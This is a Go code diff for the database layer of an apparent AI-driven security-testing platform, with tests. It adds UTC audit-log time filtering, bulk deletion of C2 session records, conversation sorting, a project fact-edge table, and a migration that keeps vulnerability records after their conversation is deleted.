ReductionRootDir string `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // default: os temp + conversation id ReductionRootDir string `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // 非空:落盘根目录(默认 tmp/reduction);其下按 projects/{id} 或 conversations/{id} 隔离
ReductionMaxLengthForTrunc int `yaml:"reduction_max_length_for_trunc,omitempty" json:"reduction_max_length_for_trunc,omitempty"` // default 12000 ReductionMaxLengthForTrunc int `yaml:"reduction_max_length_for_trunc,omitempty" json:"reduction_max_length_for_trunc,omitempty"` // default 12000
ReductionMaxTokensForClear int `yaml:"reduction_max_tokens_for_clear,omitempty" json:"reduction_max_tokens_for_clear,omitempty"` // default 50000 ReductionMaxTokensForClear int `yaml:"reduction_max_tokens_for_clear,omitempty" json:"reduction_max_tokens_for_clear,omitempty"` // default 50000
ReductionClearExclude []string `yaml:"reduction_clear_exclude,omitempty" json:"reduction_clear_exclude,omitempty"` ReductionClearExclude []string `yaml:"reduction_clear_exclude,omitempty" json:"reduction_clear_exclude,omitempty"`
@@ -593,10 +602,8 @@ type DatabaseConfig struct {
} }
type AgentConfig struct { type AgentConfig struct {
MaxIterations int `yaml:"max_iterations" json:"max_iterations"` MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
LargeResultThreshold int `yaml:"large_result_threshold" json:"large_result_threshold"` // 大结果阈值(字节),默认50KB ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
ResultStorageDir string `yaml:"result_storage_dir" json:"result_storage_dir"` // 结果存储目录,默认tmp
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
// SystemPromptPath 单代理系统提示 Markdown/文本文件路径(相对 config.yaml 所在目录,或可写绝对路径)。非空且可读时替换内置单代理提示;留空用内置。 // SystemPromptPath 单代理系统提示 Markdown/文本文件路径(相对 config.yaml 所在目录,或可写绝对路径)。非空且可读时替换内置单代理提示;留空用内置。
SystemPromptPath string `yaml:"system_prompt_path,omitempty" json:"system_prompt_path,omitempty"` SystemPromptPath string `yaml:"system_prompt_path,omitempty" json:"system_prompt_path,omitempty"`
} }
+9 -7
View File
@@ -69,12 +69,12 @@ func buildAuditLogsWhere(filter ListAuditLogsFilter) (string, []interface{}) {
args = append(args, filter.ResourceID) args = append(args, filter.ResourceID)
} }
if filter.Since != nil { if filter.Since != nil {
conditions = append(conditions, "created_at >= ?") conditions = append(conditions, sqliteEpochGE("created_at", ">="))
args = append(args, *filter.Since) args = append(args, formatSQLiteUTC(*filter.Since))
} }
if filter.Until != nil { if filter.Until != nil {
conditions = append(conditions, "created_at <= ?") conditions = append(conditions, sqliteEpochGE("created_at", "<="))
args = append(args, *filter.Until) args = append(args, formatSQLiteUTC(*filter.Until))
} }
if q := strings.TrimSpace(filter.Query); q != "" { if q := strings.TrimSpace(filter.Query); q != "" {
like := "%" + q + "%" like := "%" + q + "%"
@@ -93,7 +93,9 @@ func (db *DB) AppendAuditLog(row *AuditLog) error {
return errors.New("audit id is required") return errors.New("audit id is required")
} }
if row.CreatedAt.IsZero() { if row.CreatedAt.IsZero() {
row.CreatedAt = time.Now() row.CreatedAt = time.Now().UTC()
} else {
row.CreatedAt = row.CreatedAt.UTC()
} }
if strings.TrimSpace(row.Level) == "" { if strings.TrimSpace(row.Level) == "" {
row.Level = "info" row.Level = "info"
@@ -111,7 +113,7 @@ func (db *DB) AppendAuditLog(row *AuditLog) error {
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
` `
_, err := db.Exec(query, _, err := db.Exec(query,
row.ID, row.CreatedAt, row.Level, row.Category, row.Action, row.Result, row.ID, formatSQLiteUTC(row.CreatedAt), row.Level, row.Category, row.Action, row.Result,
row.Actor, row.SessionHint, row.ClientIP, row.UserAgent, row.Actor, row.SessionHint, row.ClientIP, row.UserAgent,
row.ResourceType, row.ResourceID, row.Message, detailJSON, row.ResourceType, row.ResourceID, row.Message, detailJSON,
) )
@@ -202,7 +204,7 @@ func (db *DB) ListAuditLogs(filter ListAuditLogsFilter) ([]*AuditLog, error) {
// DeleteAuditLogsBefore removes rows older than cutoff. // DeleteAuditLogsBefore removes rows older than cutoff.
func (db *DB) DeleteAuditLogsBefore(cutoff time.Time) (int64, error) { func (db *DB) DeleteAuditLogsBefore(cutoff time.Time) (int64, error) {
res, err := db.Exec(`DELETE FROM audit_logs WHERE created_at < ?`, cutoff) res, err := db.Exec(`DELETE FROM audit_logs WHERE `+sqliteEpochGE("created_at", "<"), formatSQLiteUTC(cutoff))
if err != nil { if err != nil {
return 0, err return 0, err
} }
+62
View File
@@ -0,0 +1,62 @@
package database
import (
"os"
"path/filepath"
"strings"
"testing"
"time"
"go.uber.org/zap"
)
func TestBuildAuditLogsWhere_timeFilterSQL(t *testing.T) {
since := time.Date(2026, 6, 16, 17, 2, 0, 0, time.UTC)
until := time.Date(2026, 6, 17, 3, 3, 0, 0, time.UTC)
where, args := buildAuditLogsWhere(ListAuditLogsFilter{Since: &since, Until: &until})
if !strings.Contains(where, "strftime('%s', created_at) >=") {
t.Fatalf("expected epoch comparison for since, got %q", where)
}
if !strings.Contains(where, "strftime('%s', created_at) <=") {
t.Fatalf("expected epoch comparison for until, got %q", where)
}
if len(args) != 2 {
t.Fatalf("expected 2 time args, got %d", len(args))
}
for i, arg := range args {
s, ok := arg.(string)
if !ok || s == "" {
t.Fatalf("arg %d: want non-empty UTC RFC3339 string, got %v", i, arg)
}
}
}
func TestListAuditLogs_timeFilterMixedStorageFormats(t *testing.T) {
root, err := os.Getwd()
if err != nil {
t.Skip(err)
}
dbPath := filepath.Join(root, "..", "..", "data", "conversations.db")
if _, err := os.Stat(dbPath); err != nil {
t.Skip("conversations.db not found")
}
db, err := NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
since, _ := ParseRFC3339Time("2026-06-16T17:02:00Z")
until, _ := ParseRFC3339Time("2026-06-17T03:03:00Z")
filter := ListAuditLogsFilter{Since: &since, Until: &until, Limit: 50}
logs, err := db.ListAuditLogs(filter)
if err != nil {
t.Fatal(err)
}
for _, row := range logs {
at := row.CreatedAt.UTC()
if at.Before(since) || at.After(until) {
t.Fatalf("log %s at %s outside [%s, %s]", row.ID, at, since, until)
}
}
}
+37 -1
View File
@@ -239,7 +239,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
// GetBatchTasks 获取批量任务队列的所有任务 // GetBatchTasks 获取批量任务队列的所有任务
func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) { func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
rows, err := db.Query( rows, err := db.Query(
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id", "SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
queueID, queueID,
) )
if err != nil { if err != nil {
@@ -507,6 +507,42 @@ func (db *DB) CancelPendingBatchTasks(queueID string, completedAt time.Time) err
return nil return nil
} }
// PrepareBatchSingleTaskRun 准备单条执行:可选重置子任务,并更新队列索引与状态
func (db *DB) PrepareBatchSingleTaskRun(queueID, taskID string, taskIndex int, resetTask, resumeQueue bool) error {
tx, err := db.Begin()
if err != nil {
return fmt.Errorf("开始事务失败: %w", err)
}
defer tx.Rollback()
if resetTask {
_, err = tx.Exec(
"UPDATE batch_tasks SET status = ?, conversation_id = NULL, started_at = NULL, completed_at = NULL, error = NULL, result = NULL WHERE queue_id = ? AND id = ?",
"pending", queueID, taskID,
)
if err != nil {
return fmt.Errorf("重置批量任务状态失败: %w", err)
}
}
if resumeQueue {
_, err = tx.Exec(
"UPDATE batch_task_queues SET status = ?, current_index = ?, completed_at = NULL, last_run_error = NULL WHERE id = ?",
"paused", taskIndex, queueID,
)
} else {
_, err = tx.Exec(
"UPDATE batch_task_queues SET current_index = ?, last_run_error = NULL WHERE id = ?",
taskIndex, queueID,
)
}
if err != nil {
return fmt.Errorf("更新批量任务队列状态失败: %w", err)
}
return tx.Commit()
}
// DeleteBatchTask 删除批量任务 // DeleteBatchTask 删除批量任务
func (db *DB) DeleteBatchTask(queueID, taskID string) error { func (db *DB) DeleteBatchTask(queueID, taskID string) error {
_, err := db.Exec( _, err := db.Exec(
+47
View File
@@ -17,6 +17,9 @@ var ErrNoValidC2EventIDs = errors.New("no valid event ids")
// ErrNoValidC2TaskIDs 批量删除任务时未提供任何合法 ID // ErrNoValidC2TaskIDs 批量删除任务时未提供任何合法 ID
var ErrNoValidC2TaskIDs = errors.New("no valid task ids") var ErrNoValidC2TaskIDs = errors.New("no valid task ids")
// ErrNoValidC2SessionIDs 批量删除会话时未提供任何合法 ID
var ErrNoValidC2SessionIDs = errors.New("no valid session ids")
// validC2TextIDForDelete 校验 C2 文本主键(e_/t_/s_/… 等)用于批量删除入参 // validC2TextIDForDelete 校验 C2 文本主键(e_/t_/s_/… 等)用于批量删除入参
func validC2TextIDForDelete(id string) bool { func validC2TextIDForDelete(id string) bool {
if len(id) < 2 || len(id) > 80 { if len(id) < 2 || len(id) > 80 {
@@ -473,6 +476,7 @@ type ListC2SessionsFilter struct {
Status string // active|sleeping|dead|killed;空表示全部 Status string // active|sleeping|dead|killed;空表示全部
OS string OS string
Search string // 模糊匹配 hostname/username/internal_ip Search string // 模糊匹配 hostname/username/internal_ip
Suspicious bool // 疑似误报:离线且 hostname 为 tcp_* / 用户名为 unknown / PID 为 0
Limit int // 0 表示无限制 Limit int // 0 表示无限制
} }
@@ -497,6 +501,11 @@ func (db *DB) ListC2Sessions(filter ListC2SessionsFilter) ([]*C2Session, error)
kw := "%" + filter.Search + "%" kw := "%" + filter.Search + "%"
args = append(args, kw, kw, kw) args = append(args, kw, kw, kw)
} }
if filter.Suspicious {
conditions = append(conditions, `status = 'dead' AND (
hostname LIKE 'tcp_%' OR LOWER(COALESCE(username,'')) = 'unknown' OR COALESCE(pid, 0) = 0
)`)
}
query := ` query := `
SELECT id, listener_id, implant_uuid, COALESCE(hostname,''), COALESCE(username,''), SELECT id, listener_id, implant_uuid, COALESCE(hostname,''), COALESCE(username,''),
COALESCE(os,''), COALESCE(arch,''), COALESCE(pid, 0), COALESCE(process_name,''), COALESCE(os,''), COALESCE(arch,''), COALESCE(pid, 0), COALESCE(process_name,''),
@@ -554,6 +563,44 @@ func (db *DB) DeleteC2Session(id string) error {
return nil return nil
} }
// DeleteC2SessionsByIDs 按主键批量删除会话
func (db *DB) DeleteC2SessionsByIDs(ids []string) (int64, error) {
if len(ids) == 0 {
return 0, nil
}
const maxBatch = 500
if len(ids) > maxBatch {
ids = ids[:maxBatch]
}
clean := make([]string, 0, len(ids))
seen := make(map[string]struct{}, len(ids))
for _, id := range ids {
id = strings.TrimSpace(id)
if !validC2TextIDForDelete(id) {
continue
}
if _, ok := seen[id]; ok {
continue
}
seen[id] = struct{}{}
clean = append(clean, id)
}
if len(clean) == 0 {
return 0, ErrNoValidC2SessionIDs
}
placeholders := strings.Repeat("?,", len(clean)-1) + "?"
args := make([]interface{}, len(clean))
for i := range clean {
args[i] = clean[i]
}
query := `DELETE FROM c2_sessions WHERE id IN (` + placeholders + `)`
res, err := db.Exec(query, args...)
if err != nil {
return 0, err
}
return res.RowsAffected()
}
// ---------------------------------------------------------------------------- // ----------------------------------------------------------------------------
// CRUDC2 任务 // CRUDC2 任务
// ---------------------------------------------------------------------------- // ----------------------------------------------------------------------------
+35 -10
View File
@@ -382,26 +382,40 @@ func (db *DB) CountConversations(search string) (int, error) {
return count, nil return count, nil
} }
func conversationOrderClause(sortBy, tableAlias string) string {
col := "updated_at"
if strings.TrimSpace(strings.ToLower(sortBy)) == "created_at" {
col = "created_at"
}
prefix := tableAlias
if prefix != "" {
prefix += "."
}
return "ORDER BY " + prefix + col + " DESC"
}
// ListConversations 列出所有对话 // ListConversations 列出所有对话
func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) { func (db *DB) ListConversations(limit, offset int, search, sortBy string) ([]*Conversation, error) {
var rows *sql.Rows var rows *sql.Rows
var err error var err error
if search != "" { if search != "" {
// 使用 EXISTS 子查询代替 LEFT JOIN + DISTINCT,避免大表笛卡尔积 // 使用 EXISTS 子查询代替 LEFT JOIN + DISTINCT,避免大表笛卡尔积
searchPattern := "%" + search + "%" searchPattern := "%" + search + "%"
orderClause := conversationOrderClause(sortBy, "c")
rows, err = db.Query( rows, err = db.Query(
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
FROM conversations c FROM conversations c
WHERE c.title LIKE ? WHERE c.title LIKE ?
OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?) OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)
ORDER BY c.updated_at DESC `+orderClause+`
LIMIT ? OFFSET ?`, LIMIT ? OFFSET ?`,
searchPattern, searchPattern, limit, offset, searchPattern, searchPattern, limit, offset,
) )
} else { } else {
orderClause := conversationOrderClause(sortBy, "")
rows, err = db.Query( rows, err = db.Query(
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations ORDER BY updated_at DESC LIMIT ? OFFSET ?", "SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations "+orderClause+" LIMIT ? OFFSET ?",
limit, offset, limit, offset,
) )
} }
@@ -467,11 +481,12 @@ func (db *DB) CountUngroupedConversations() (int, error) {
} }
// ListUngroupedConversations 列出不在任何分组中的对话(最近对话侧栏)。 // ListUngroupedConversations 列出不在任何分组中的对话(最近对话侧栏)。
func (db *DB) ListUngroupedConversations(limit, offset int) ([]*Conversation, error) { func (db *DB) ListUngroupedConversations(limit, offset int, sortBy string) ([]*Conversation, error) {
orderClause := conversationOrderClause(sortBy, "c")
rows, err := db.Query( rows, err := db.Query(
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+ `SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
ungroupedConversationsSQL+` ungroupedConversationsSQL+`
ORDER BY c.updated_at DESC `+orderClause+`
LIMIT ? OFFSET ?`, LIMIT ? OFFSET ?`,
limit, offset, limit, offset,
) )
@@ -543,18 +558,28 @@ func (db *DB) UpdateConversationTime(id string) error {
return nil return nil
} }
// DeleteConversation 删除对话及其所有相关数据 // DeleteConversation 删除对话及其会话相关数据
// 由于数据库外键约束设置了 ON DELETE CASCADE,删除对话时会自动删除: // 由于数据库外键约束设置了 ON DELETE CASCADE,删除对话时会自动删除:
// - messages(消息) // - messages(消息)
// - process_details(过程详情) // - process_details(过程详情)
// - attack_chain_nodes(攻击链节点) // - attack_chain_nodes(攻击链节点)
// - attack_chain_edges(攻击链边) // - attack_chain_edges(攻击链边)
// - vulnerabilities(漏洞)
// - conversation_group_mappings(分组映射) // - conversation_group_mappings(分组映射)
// 注意:knowledge_retrieval_logs 使用 ON DELETE SET NULL,记录会保留但 conversation_id 会被设为 NULL // 漏洞记录会保留:vulnerabilities.conversation_id 使用 ON DELETE SET NULL,仅解除与会话的关联。
// 注意:knowledge_retrieval_logs 在删除前会被显式清理。
func (db *DB) DeleteConversation(id string) error { func (db *DB) DeleteConversation(id string) error {
// 删除对话前补全漏洞来源标签,便于在漏洞库中追溯已删除会话的发现。
_, err := db.Exec(`
UPDATE vulnerabilities
SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
WHERE conversation_id = ?
`, id, id)
if err != nil {
db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
}
// 显式删除知识检索日志(虽然外键是SET NULL,但为了彻底清理,我们手动删除) // 显式删除知识检索日志(虽然外键是SET NULL,但为了彻底清理,我们手动删除)
_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id) _, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
if err != nil { if err != nil {
db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err)) db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
// 不返回错误,继续删除对话 // 不返回错误,继续删除对话
@@ -567,7 +592,7 @@ func (db *DB) DeleteConversation(id string) error {
} }
db.removeConversationScopedDirs(id) db.removeConversationScopedDirs(id)
db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id)) db.logger.Info("对话已删除(漏洞记录已保留)", zap.String("conversationId", id))
return nil return nil
} }
@@ -0,0 +1,69 @@
package database
import (
"path/filepath"
"testing"
"go.uber.org/zap"
)
func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
tmp := t.TempDir()
dbPath := filepath.Join(tmp, "vuln-preserve.db")
db, err := NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatalf("NewDB: %v", err)
}
defer db.Close()
conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
if err != nil {
t.Fatalf("CreateConversation: %v", err)
}
vuln, err := db.CreateVulnerability(&Vulnerability{
ConversationID: conv.ID,
Title: "SQL Injection",
Severity: "high",
Status: "open",
})
if err != nil {
t.Fatalf("CreateVulnerability: %v", err)
}
if err := db.DeleteConversation(conv.ID); err != nil {
t.Fatalf("DeleteConversation: %v", err)
}
got, err := db.GetVulnerability(vuln.ID)
if err != nil {
t.Fatalf("GetVulnerability after delete: %v", err)
}
if got.Title != "SQL Injection" {
t.Fatalf("title = %q, want SQL Injection", got.Title)
}
if got.ConversationID != "" {
t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
}
if got.ConversationTag != "vuln source chat" {
t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
}
}
func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
tmp := t.TempDir()
dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
db, err := NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatalf("NewDB: %v", err)
}
defer db.Close()
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
if err != nil {
t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
}
if !ok {
t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
}
}
+139 -2
View File
@@ -353,11 +353,27 @@ func (db *DB) initTables() error {
UNIQUE(project_id, fact_key) UNIQUE(project_id, fact_key)
);` );`
// 项目事实关系边(黑板 DAG
createProjectFactEdgesTable := `
CREATE TABLE IF NOT EXISTS project_fact_edges (
id TEXT PRIMARY KEY,
project_id TEXT NOT NULL,
source_fact_key TEXT NOT NULL,
target_fact_key TEXT NOT NULL,
edge_type TEXT NOT NULL,
confidence TEXT NOT NULL DEFAULT 'tentative',
source_conversation_id TEXT,
created_at DATETIME NOT NULL,
updated_at DATETIME NOT NULL,
FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE,
UNIQUE(project_id, source_fact_key, target_fact_key, edge_type)
);`
// 创建漏洞表 // 创建漏洞表
createVulnerabilitiesTable := ` createVulnerabilitiesTable := `
CREATE TABLE IF NOT EXISTS vulnerabilities ( CREATE TABLE IF NOT EXISTS vulnerabilities (
id TEXT PRIMARY KEY, id TEXT PRIMARY KEY,
conversation_id TEXT NOT NULL, conversation_id TEXT,
conversation_tag TEXT, conversation_tag TEXT,
task_tag TEXT, task_tag TEXT,
title TEXT NOT NULL, title TEXT NOT NULL,
@@ -371,7 +387,8 @@ func (db *DB) initTables() error {
recommendation TEXT, recommendation TEXT,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE project_id TEXT,
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
);` );`
// 创建批量任务队列表 // 创建批量任务队列表
@@ -590,6 +607,9 @@ func (db *DB) initTables() error {
CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id); CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence); CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id); CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
CREATE INDEX IF NOT EXISTS idx_project_fact_edges_project ON project_fact_edges(project_id);
CREATE INDEX IF NOT EXISTS idx_project_fact_edges_source ON project_fact_edges(project_id, source_fact_key);
CREATE INDEX IF NOT EXISTS idx_project_fact_edges_target ON project_fact_edges(project_id, target_fact_key);
CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id); CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id); CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id); CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
@@ -671,6 +691,10 @@ func (db *DB) initTables() error {
return fmt.Errorf("创建project_facts表失败: %w", err) return fmt.Errorf("创建project_facts表失败: %w", err)
} }
if _, err := db.Exec(createProjectFactEdgesTable); err != nil {
return fmt.Errorf("创建project_fact_edges表失败: %w", err)
}
if _, err := db.Exec(createVulnerabilitiesTable); err != nil { if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
return fmt.Errorf("创建vulnerabilities表失败: %w", err) return fmt.Errorf("创建vulnerabilities表失败: %w", err)
} }
@@ -737,6 +761,9 @@ func (db *DB) initTables() error {
db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err)) db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
// 不返回错误,允许继续运行 // 不返回错误,允许继续运行
} }
if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
}
if err := db.migrateProjectsTable(); err != nil { if err := db.migrateProjectsTable(); err != nil {
db.logger.Warn("迁移projects相关表失败", zap.Error(err)) db.logger.Warn("迁移projects相关表失败", zap.Error(err))
@@ -1146,6 +1173,116 @@ func (db *DB) dropProjectFactVersionsTable() error {
return err return err
} }
// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL,删除对话时保留漏洞记录。
func (db *DB) migrateVulnerabilitiesConversationFK() error {
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
if err != nil {
return err
}
if ok {
return nil
}
tx, err := db.Begin()
if err != nil {
return fmt.Errorf("开启事务失败: %w", err)
}
defer func() { _ = tx.Rollback() }()
const createNew = `
CREATE TABLE vulnerabilities_new (
id TEXT PRIMARY KEY,
conversation_id TEXT,
conversation_tag TEXT,
task_tag TEXT,
title TEXT NOT NULL,
description TEXT,
severity TEXT NOT NULL,
status TEXT NOT NULL DEFAULT 'open',
vulnerability_type TEXT,
target TEXT,
proof TEXT,
impact TEXT,
recommendation TEXT,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
project_id TEXT,
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
);`
if _, err := tx.Exec(createNew); err != nil {
return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
}
const copyRows = `
INSERT INTO vulnerabilities_new (
id, conversation_id, conversation_tag, task_tag, title, description,
severity, status, vulnerability_type, target, proof, impact, recommendation,
created_at, updated_at, project_id
)
SELECT
id, conversation_id, conversation_tag, task_tag, title, description,
severity, status, vulnerability_type, target, proof, impact, recommendation,
created_at, updated_at, project_id
FROM vulnerabilities;`
if _, err := tx.Exec(copyRows); err != nil {
return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
}
if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
}
if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
}
indexes := []string{
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
}
for _, stmt := range indexes {
if _, err := tx.Exec(stmt); err != nil {
return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
}
}
if err := tx.Commit(); err != nil {
return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
}
db.logger.Info("vulnerabilities 表已迁移:删除对话时保留漏洞记录")
return nil
}
func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
if err != nil {
return false, err
}
defer rows.Close()
found := false
for rows.Next() {
var id, seq int
var table, from, to, onUpdate, onDelete, match string
if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
return false, err
}
if from == "conversation_id" {
found = true
if !strings.EqualFold(onDelete, "SET NULL") {
return false, nil
}
}
}
if err := rows.Err(); err != nil {
return false, err
}
return found, nil
}
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段 // migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
func (db *DB) migrateVulnerabilitiesTable() error { func (db *DB) migrateVulnerabilitiesTable() error {
columns := []struct { columns := []struct {
+17
View File
@@ -72,6 +72,23 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
return nil return nil
} }
// UpdateToolExecutionResult 仅更新结果字段(用于 reduction 后将监控展示与模型上下文对齐)。
func (db *DB) UpdateToolExecutionResult(id string, result *mcp.ToolResult) error {
id = strings.TrimSpace(id)
if id == "" || result == nil {
return nil
}
resultBytes, err := json.Marshal(result)
if err != nil {
return err
}
_, err = db.Exec(`UPDATE tool_executions SET result = ? WHERE id = ?`, string(resultBytes), id)
if err != nil {
db.logger.Warn("更新工具执行结果失败", zap.Error(err), zap.String("executionId", id))
}
return err
}
// CountToolExecutions 统计工具执行记录总数 // CountToolExecutions 统计工具执行记录总数
func (db *DB) CountToolExecutions(status, toolName string) (int, error) { func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
query := `SELECT COUNT(*) FROM tool_executions` query := `SELECT COUNT(*) FROM tool_executions`
+11 -4
View File
@@ -389,7 +389,7 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
return f, nil return f, nil
} }
// DeprecateProjectFact 将事实标记为 deprecated。 // DeprecateProjectFact 将事实标记为 deprecated(关联边同步 deprecated
func (db *DB) DeprecateProjectFact(projectID, factKey string) error { func (db *DB) DeprecateProjectFact(projectID, factKey string) error {
res, err := db.Exec( res, err := db.Exec(
`UPDATE project_facts SET confidence = 'deprecated', updated_at = ? WHERE project_id = ? AND fact_key = ?`, `UPDATE project_facts SET confidence = 'deprecated', updated_at = ? WHERE project_id = ? AND fact_key = ?`,
@@ -402,7 +402,7 @@ func (db *DB) DeprecateProjectFact(projectID, factKey string) error {
if n == 0 { if n == 0 {
return fmt.Errorf("事实不存在") return fmt.Errorf("事实不存在")
} }
return nil return db.DeprecateProjectFactEdgesForKey(projectID, factKey)
} }
// RestoreProjectFact 将已废弃事实恢复为 tentative 或 confirmed(重新参与黑板索引)。 // RestoreProjectFact 将已废弃事实恢复为 tentative 或 confirmed(重新参与黑板索引)。
@@ -430,9 +430,16 @@ func (db *DB) RestoreProjectFact(projectID, factKey, confidence string) error {
return err return err
} }
// DeleteProjectFact 删除事实。 // DeleteProjectFact 删除事实(级联删除相关边)
func (db *DB) DeleteProjectFact(id string) error { func (db *DB) DeleteProjectFact(id string) error {
_, err := db.Exec(`DELETE FROM project_facts WHERE id = ?`, id) f, err := db.GetProjectFact(id)
if err != nil {
return err
}
if err := db.DeleteProjectFactEdgesForKey(f.ProjectID, f.FactKey); err != nil {
return err
}
_, err = db.Exec(`DELETE FROM project_facts WHERE id = ?`, id)
return err return err
} }
+410
View File
@@ -0,0 +1,410 @@
package database
import (
"database/sql"
"fmt"
"strings"
"time"
"github.com/google/uuid"
)
